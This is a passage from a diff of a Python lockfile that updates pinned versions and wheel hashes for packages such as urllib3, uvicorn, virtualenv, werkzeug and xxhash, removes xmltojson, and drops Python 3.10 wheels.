"sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47", size = 76928, upload-time = "2026-08-12T12:37:25.997Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, + { url = "https://files.pythonhosted.org/packages/67/81/4add07e5172b7ac40d8ed5ff580409a7801a4fe26d529bdd915401dabfbe/typing_inspection-0.4.4-py3-none-any.whl", hash = "sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147", size = 14750, upload-time = "2026-08-12T12:37:24.648Z" }, ] [[package]] @@ -3237,25 +2852,24 @@ wheels = [ [[package]] name = "urllib3" -version = "2.7.0" +version = "2.8.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", size = 458972, upload-time = "2026-09-15T19:29:36.253Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, + { url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", size = 135717, upload-time = "2026-09-15T19:29:34.577Z" }, ] [[package]] name = "uvicorn" -version = "0.52.1" +version = "0.54.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "click" }, { name = "h11" }, - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/03/18/ccce41535dee1be77735592bd19965f3972c82e07ee703d324709496b716/uvicorn-0.52.1.tar.gz", hash = "sha256:112ec661814189acbccd3f7b86460147cc065fc92c0821afa78918780e4354dd", size = 100571, upload-time = "2026-08-01T18:19:30.732Z" } +sdist = { url = "https://files.pythonhosted.org/packages/da/34/30e9280707135d2cfc589dfff3cb796bd07a3aeb1a3e415ba09dd89d7bb4/uvicorn-0.54.0.tar.gz", hash = "sha256:a2e33cbfaa0306f8e6b0c13e0cb89d7d7a2da3e62b90c66e18c33d9807b28620", size = 112283, upload-time = "2026-09-25T06:52:37.601Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/c7/d5/68e6e9bca63c0badf67002890a46d3784c958de45b65e1275ec583ca1f06/uvicorn-0.52.1-py3-none-any.whl", hash = "sha256:e4403f9d93188cf9d1088e9f40e3acd12630e2df8675316704379a7fc20fff6a", size = 79859, upload-time = "2026-08-01T18:19:29.294Z" }, + { url = "https://files.pythonhosted.org/packages/38/0c/b54a4fdd7f90a3af8b02ebc9ce6712c2c208b7926a2f7bad95c33ebbe943/uvicorn-0.54.0-py3-none-any.whl", hash = "sha256:505bdb0f318731d45f1f712071fc781a8981f6847a31c902c9f5e652d4f67faf", size = 87427, upload-time = "2026-09-25T06:52:35.829Z" }, ] [[package]] @@ -3269,17 +2883,18 @@ wheels = [ [[package]] name = "virtualenv" -version = "20.36.1" +version = "21.14.11" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "distlib" }, { name = "filelock" }, + { name = "packaging" }, { name = "platformdirs" }, - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, + { name = "python-discovery" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/aa/a3/4d310fa5f00863544e1d0f4de93bddec248499ccf97d4791bc3122c9d4f3/virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba", size = 6032239, upload-time = "2026-01-09T18:21:01.296Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7f/be/4d1d59d309db76b5808fcfd78bd5996f4e7241366691c38fc331a3136398/virtualenv-21.14.11.tar.gz", hash = "sha256:593052d8477ea8c55a842387ce111bd08c72618f0c1133c302cafe335e570a57", size = 5503091, upload-time = "2026-10-18T07:06:34.716Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6a/2a/dc2228b2888f51192c7dc766106cd475f1b768c10caaf9727659726f7391/virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f", size = 6008258, upload-time = "2026-01-09T18:20:59.425Z" }, + { url = "https://files.pythonhosted.org/packages/ce/6b/d85da8982b41190eafcb9df91dff9d83fc6989e98af4b5be4c8f85510c95/virtualenv-21.14.11-py3-none-any.whl", hash = "sha256:b319f8590a84e5de5f8f2c803ecd2237e9bc0ffa7c1e875e3169c107cecb7454", size = 5495268, upload-time = "2026-10-18T07:06:32.719Z" }, ] [[package]] @@ -3288,9 +2903,6 @@ version = "6.0.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, - { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, - { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, @@ -3300,8 +2912,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, - { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, - { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, @@ -3320,23 +2930,6 @@ version = "16.1.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/21/f7/bc3a25c5ec26ce62ce487690becc2f3710bbc7b33338f005ad390db0b986/websockets-16.1.1.tar.gz", hash = "sha256:db234eda965dcce15df96bb9709f587cd87d4d52aaf0e80e2f34ec04c7670c57", size = 182204, upload-time = "2026-07-17T22:51:05.858Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/08/e7/d1671fb984f9dd844e1da5288070c7c23c9eaba3082d3871aae19c3ab8b9/websockets-16.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:49ae99bdfcae803a885c926bf14f886196e84925395bb3f568fef5c0f0979d7d", size = 179570, upload-time = "2026-07-17T22:48:24.032Z" }, - { url = "https://files.pythonhosted.org/packages/99/f5/70df723bf571f5e0b1b845e0a4ff1c966eeb84f667599fc251caa37d15a3/websockets-16.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5bfd1ac19b1b9986a9c95a82d5e23a391ebb09e12c34d7be6094b86efcc35731", size = 177252, upload-time = "2026-07-17T22:48:25.775Z" }, - { url = "https://files.pythonhosted.org/packages/90/72/2f14b2e167170b8bf1c8bb7f9b0d78000f470d41a2085a91f33e3917b6c9/websockets-16.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9246a0d063cfcbcc85f2359dd6876d681213f4790832272aa16641b4ed5d64d4", size = 177530, upload-time = "2026-07-17T22:48:27.337Z" }, - { url = "https://files.pythonhosted.org/packages/f3/18/a17e2f0cde02dc10154c808deed7e1d8528afff93612f70d3f0a5b19b011/websockets-16.1.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1214e673c404684b9bf7154f5cf43b45025b1a6160fac3a9e438e9c1a97e22cb", size = 186038, upload-time = "2026-07-17T22:48:28.756Z" }, - { url = "https://files.pythonhosted.org/packages/d5/b0/41de283899cf5929d637b72a508cdbc9aa40dc0f317c6b77613fd1000488/websockets-16.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:90001d893bc368e302ef168d82130b4e4fdd27b85fa094682df9b667c2d48838", size = 187278, upload-time = "2026-07-17T22:48:30.328Z" }, - { url = "https://files.pythonhosted.org/packages/50/61/874aab5257e027f9f61b5004cec65e592babca7942b1bc09f38e72b7f1fd/websockets-16.1.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:130937b167a52af203c8d58e78d67705874e82759862e3b9671a452fec4abc87", size = 189936, upload-time = "2026-07-17T22:48:31.896Z" }, - { url = "https://files.pythonhosted.org/packages/a6/1a/42173913ac5519607220849ed417c864d77384e4119f06dbba964a50f096/websockets-16.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9c9f23004a3d40e89c01a7955d186a6cc83418d93b749701944ce2de3e95a1f3", size = 187796, upload-time = "2026-07-17T22:48:33.344Z" }, - { url = "https://files.pythonhosted.org/packages/1b/f4/37c1840bd89b529479aec41470b97b7c683b107ca90b6399ac5afb99dedf/websockets-16.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f55f0b01956a094c8587146d9558c91937e78789c333860ffaf35931a6e5dbc4", size = 186481, upload-time = "2026-07-17T22:48:34.843Z" }, - { url = "https://files.pythonhosted.org/packages/9e/70/652d9b964adcfbeb056f42e0ca6bece34d108fe75534e74df20643cae199/websockets-16.1.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6aaface73b9c71974c6497366d8b9628357f6c9749e09c4ea3610176c63f2ae3", size = 184351, upload-time = "2026-07-17T22:48:36.307Z" }, - { url = "https://files.pythonhosted.org/packages/13/f1/af3850e5d48d482921985be72ebcb169c6180b3a77b57bd612deebcee23b/websockets-16.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:dc0fad4933f427acd5b1cec210f3ea6dce7089e1724e4b9ec6ef47c6c04d1b3b", size = 186791, upload-time = "2026-07-17T22:48:37.762Z" }, - { url = "https://files.pythonhosted.org/packages/1d/40/1a4e3ed4969ec378dcad337e5f1472c5e292cb3e733bc392f0dc2e230abd/websockets-16.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f2769a0344a09e9ccf5b3cce538bc75a51b53eff3275d3896310c8552049195d", size = 185413, upload-time = "2026-07-17T22:48:39.127Z" }, - { url = "https://files.pythonhosted.org/packages/aa/3e/4e3fa1afe8f1a6a780434cd9ba8eb422632b044eff3dd73f6af67523c147/websockets-16.1.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:f70541f3104339f59f830522d94ebadb1bf47426287381623443d8bb1cdbf33d", size = 187178, upload-time = "2026-07-17T22:48:40.676Z" }, - { url = "https://files.pythonhosted.org/packages/71/ab/dd742766aa5dda7f349be0de49e4d565b84cf6f7f7fa02e07692f0f2bdd9/websockets-16.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:dc385593a42e31cd6fb60c19f0ecb015b386603818fc2c6c274fb42bd2bb4165", size = 185051, upload-time = "2026-07-17T22:48:42.098Z" }, - { url = "https://files.pythonhosted.org/packages/ae/f5/76438c6560f416f1c0a7f587679fb97cc6e99ed336011d43ce2002dd27c1/websockets-16.1.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:387e8e4aa5df2f90b198fa3cad3478822a89cf905b6a6d6c97dc3664689640cc", size = 185846, upload-time = "2026-07-17T22:48:43.472Z" }, - { url = "https://files.pythonhosted.org/packages/62/12/5c0320f2127823d27b2d56d611d31b0b284ad4edcb41364d66bf4c92b537/websockets-16.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fd46fff7eb62c24804d234f0051c7a8ea81285ad63e0337d3dcf33ca82aee58a", size = 186066, upload-time = "2026-07-17T22:48:44.884Z" }, - { url = "https://files.pythonhosted.org/packages/a2/97/875986b857b955c3f9dd192cb8a1af81254dfb2ea22cc9590f0a1e020b8b/websockets-16.1.1-cp310-cp310-win32.whl", hash = "sha256:7883388947767080f094950b342b30d35a2a06b849cd967c422fa0db72b40ea9", size = 179940, upload-time = "2026-07-17T22:48:46.481Z" }, - { url = "https://files.pythonhosted.org/packages/54/82/1013a5fe7ddae8e102bc3b4b39db81d8d28fd02100a324ce6ede8cd832b1/websockets-16.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:d57685547e0060cc6fd90ee6a28405d6bd395e525545f13c8d7cd99c78afd79f", size = 180239, upload-time = "2026-07-17T22:48:48.043Z" }, { url = "https://files.pythonhosted.org/packages/2b/03/47debfe28e9d6d354be5d777b67fd44c359b9eb299a5d103500bd7cc3e37/websockets-16.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d0fcf657e9f13ff4b177960ab2200237b12994232dfb6df16f1cfe1d4339f93c", size = 179566, upload-time = "2026-07-17T22:48:49.596Z" }, { url = "https://files.pythonhosted.org/packages/72/93/31efa1ed78c17e5cfc229fd449e3966e1b9cc15753204cd585cc8dd01f4a/websockets-16.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b852788aa51764e2d8e4cf5493d559326bcae5e38d16ba25ffa322b034df272a", size = 177250, upload-time = "2026-07-17T22:48:50.942Z" }, { url = "https://files.pythonhosted.org/packages/01/4a/542378ab3972b0c1cf1df3df3eff9591cea0d30c58c3aa3c4ddbc244e787/websockets-16.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1427fb4cf0d72f66333e2cacc3ff5f575bf2d7008166ce991a4a470b21d51a22", size = 177528, upload-time = "2026-07-17T22:48:52.59Z" }, @@ -3432,14 +3025,14 @@ wheels = [ [[package]] name = "werkzeug" -version = "3.1.8" +version = "3.1.9" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "markupsafe" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/dd/b2/381be8cfdee792dd117872481b6e378f85c957dd7c5bca38897b08f765fd/werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44", size = 875852, upload-time = "2026-04-02T18:49:14.268Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a4/34/4dd12fc8bb7d61c91467ec3efe415ffa7d5456f799954b40c5bbaeae470e/werkzeug-3.1.9.tar.gz", hash = "sha256:55ca7c70a75689be937aa27f8ff4b018f06ff4838fc73045560bf0f5a1291060", size = 940188, upload-time = "2026-09-27T18:33:41.637Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/93/8c/2e650f2afeb7ee576912636c23ddb621c91ac6a98e66dc8d29c3c69446e1/werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50", size = 226459, upload-time = "2026-04-02T18:49:12.72Z" }, + { url = "https://files.pythonhosted.org/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl", hash = "sha256:6392e50c78460ba618e5b21f08a71f59c99ce99cdc6cf6e3dd7e6ccca8754fab", size = 228700, upload-time = "2026-09-27T18:33:39.685Z" }, ] [[package]] @@ -3457,168 +3050,185 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/d6/45/fc303eb433e8a2a271739c98e953728422fa61a3c1f36077a49e395c972e/xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac", size = 9981, upload-time = "2024-10-16T06:10:27.649Z" }, ] -[[package]] -name = "xmltojson" -version = "2.0.3" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "xmltodict" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/c5/bd/7ff42737e3715eaf0e46714776c2ce75c0d509c7b2e921fa0f94d031a1ff/xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d", size = 7069, upload-time = "2024-10-20T18:08:17.218Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e5/3c/80df27969bfbb84425886dd4aaa71875807badd442af65ae7d652592e8ce/xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a", size = 7811, upload-time = "2024-10-20T18:08:16.334Z" }, -] - [[package]] name = "xxhash" -version = "4.0.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/58/6f/4d42b20b0dc688552f568e356e7d55b8ea18092eb79c78e40a96f59e7e12/xxhash-4.0.0.tar.gz", hash = "sha256:6b4040b26c73c75e6c12273b0ae237f9235f39cce5fabb683a64e9f20d09df8b", size = 100993, upload-time = "2026-08-12T16:59:59.89Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/63/a7/35ba744acf16381b269d2b367dbdc59ef48fa2521e52f05bd436b7466711/xxhash-4.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:753cebce949f8e8c54e5fcfaee8d0c3b16c7015b63fd2c7e583143d9a268c78a", size = 38083, upload-time = "2026-08-12T16:52:43.715Z" }, - { url = "https://files.pythonhosted.org/packages/a3/e3/e19896b868bf3f0047ed66de387a102f9dcfdd5429d2a61c4f67cd9eed20/xxhash-4.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b403b36648e4593689ba4401796c7834d6a908dd9cd3567c8d85e486346c9446", size = 35927, upload-time = "2026-08-12T16:52:50.003Z" }, - { url = "https://files.pythonhosted.org/packages/0f/1d/fbb54a21c59aa281c674a84ec8ecc3dbbf8381f3eb884c087217b3f28db4/xxhash-4.0.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f3a9c5bebf0c40ec933992b6a578530b44e2cdcdd1fbb9c4004be752b496db49", size = 242845, upload-time = "2026-08-12T16:52:45.117Z" }, - { url = "https://files.pythonhosted.org/packages/5e/c4/065890de07233ec559481cc1cb28dc2dc0645748bc8d5a7fe98668987ba3/xxhash-4.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f80c50793ee34b72292ee695a935182bcb097846316957bd26daccdf1164d423", size = 265776, upload-time = "2026-08-12T16:52:46.402Z" }, - { url = "https://files.pythonhosted.org/packages/3d/ad/02e596eccdf4facbdb380256ca522ab081e2b49aaa718d71a4ef66a6709e/xxhash-4.0.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2ea6a85f49c2959121440372967042b9808f8ffa43c90f47b38dc2ba3aee7a95", size = 287000, upload-time = "2026-08-12T16:53:00.22Z" }, - { url = "https://files.pythonhosted.org/packages/cd/a9/37f1bad31a1b0a2d22795c9fffbcfa7560234ce390e3ff58d4309c446411/xxhash-4.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ab3090bdf3a2cfc58041a491012e8eb63f9e41ac02e8dff6f0094853f93dfa2", size = 270333, upload-time = "2026-08-12T16:52:44.854Z" }, - { url = "https://files.pythonhosted.org/packages/41/5f/2d7358865c1fd06903aceeb9612e03413ed32682ba6a96efa2b3216bea4f/xxhash-4.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0000c53562673f5b7b2e9ac744efde362781b5914975c0828327f42a2c1269a8", size = 497460, upload-time = "2026-08-12T16:52:45.039Z" }, - { url = "https://files.pythonhosted.org/packages/17/2a/a6fd74537c72d3fac51f4581b3113a4e881670bf101ecacd32d549a0f308/xxhash-4.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7e6e3ef0a8df99291019000b594d7cd21d1b638e4fc4234c9b7f43eb7838c8c3", size = 249178, upload-time = "2026-08-12T16:52:45.021Z" }, - { url = "https://files.pythonhosted.org/packages/98/e9/6a0d9cdd601e0b99f866b4356d427ca2a130070ec3464cf6ed711baee9bd/xxhash-4.0.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:013feb67c7b83cf6fd55d013d4217edb68d7d3b86ef9d53f80d9aac7f440e4a9", size = 333009, upload-time = "2026-08-12T16:53:00.039Z" }, - { url = "https://files.pythonhosted.org/packages/13/d0/1a7207a5c8ad2bf5a328bc547de80782e340c4264da78095133f11ef4ada/xxhash-4.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:86d8c11b5fcbd97e2d6a8705ad8772e3e2e4c6eae592ee167928d2feaa930040", size = 262158, upload-time = "2026-08-12T16:52:49.231Z" }, - { url = "https://files.pythonhosted.org/packages/da/7a/11d1a989982d265ce3b4b288f2a1269c0508f2ab705f83a16e5f2df940fc/xxhash-4.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ec072557f5f4c5eeb6ae724820867e20759b979e7e11a714508dd70cd3641166", size = 289014, upload-time = "2026-08-12T16:52:48.455Z" }, - { url = "https://files.pythonhosted.org/packages/3e/2e/2360a635a249aff94514b8a8cacf021085d3da9820032f806c75414716e3/xxhash-4.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:1cffda52b73a9369ef9d521416f5b995a21b09f222701f6c9ce700ba84931d9c", size = 247629, upload-time = "2026-08-12T16:53:08.198Z" }, - { url = "https://files.pythonhosted.org/packages/72/9d/aa944d7fe4eb3ee6bf697c32e092744deccd5f4721f928fb0f703c9edaf5/xxhash-4.0.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:5036cdbc161cf5a2751f7caa54f94c1d9f405436a08c4221dec12491a17a3235", size = 267531, upload-time = "2026-08-12T16:52:46.108Z" }, - { url = "https://files.pythonhosted.org/packages/d3/85/484493315182da4c26a645e749f84d42474c0082cefb08d97c89debf7706/xxhash-4.0.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:422feffe2bdaebc2f173dcc94ea3a6ba7710163c3c00b9bc9bd47d77a9c61d83", size = 322191, upload-time = "2026-08-12T16:52:46.965Z" }, - { url = "https://files.pythonhosted.org/packages/2e/f8/cc5c757db7ecfed7415614d5f44f15a0a2d2bb0e1fdfb18e23519d724c33/xxhash-4.0.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6a9dd076149afe335505b880d8c9ebf578cc770d296379d9f58688f70c73a620", size = 466022, upload-time = "2026-08-12T16:52:47.781Z" }, - { url = "https://files.pythonhosted.org/packages/6e/a0/403613a07590bfe733a18f3c352e52982b6b7811b6e771df2b5bfbf80c51/xxhash-4.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:980bedbeb1ed99f1febca84900aa201c7978fd43894bfa2feff9def46f3e8b10", size = 245777, upload-time = "2026-08-12T16:53:11.528Z" }, - { url = "https://files.pythonhosted.org/packages/29/3c/cbc896acc48429b4941d9b4ba2db62b2b49ddeacacd89c0baccc0155f52d/xxhash-4.0.0-cp310-cp310-win32.whl", hash = "sha256:083551d29935553b203454995a1e07e9bd6d2ebaccb6eaa25f69c6fd112ce779", size = 34288, upload-time = "2026-08-12T16:52:56.767Z" }, - { url = "https://files.pythonhosted.org/packages/3d/20/be9a63dde10cc1d9c053a3c02da81da99828cdf2a73a1cb7cdd9f3cf561e/xxhash-4.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:5ac7166fcc0b76989bc313658339ea54a6cc9c96f01b04b3f96373f63709fa39", size = 36718, upload-time = "2026-08-12T16:53:06.151Z" }, - { url = "https://files.pythonhosted.org/packages/2a/85/e915df396b2f17ce2dd9708e053773970dcdc4a31f29ec95a6a7908c867d/xxhash-4.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:c32bfed9e5f139df55fa5e8c1e568712ac13628d6373cd1cfd9657dbd0fc1fd3", size = 32956, upload-time = "2026-08-12T16:53:36.761Z" }, - { url = "https://files.pythonhosted.org/packages/40/9f/3736468bf0680ede8d93a488eba7dac58ca2ff25d6bff168810f7528c300/xxhash-4.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = 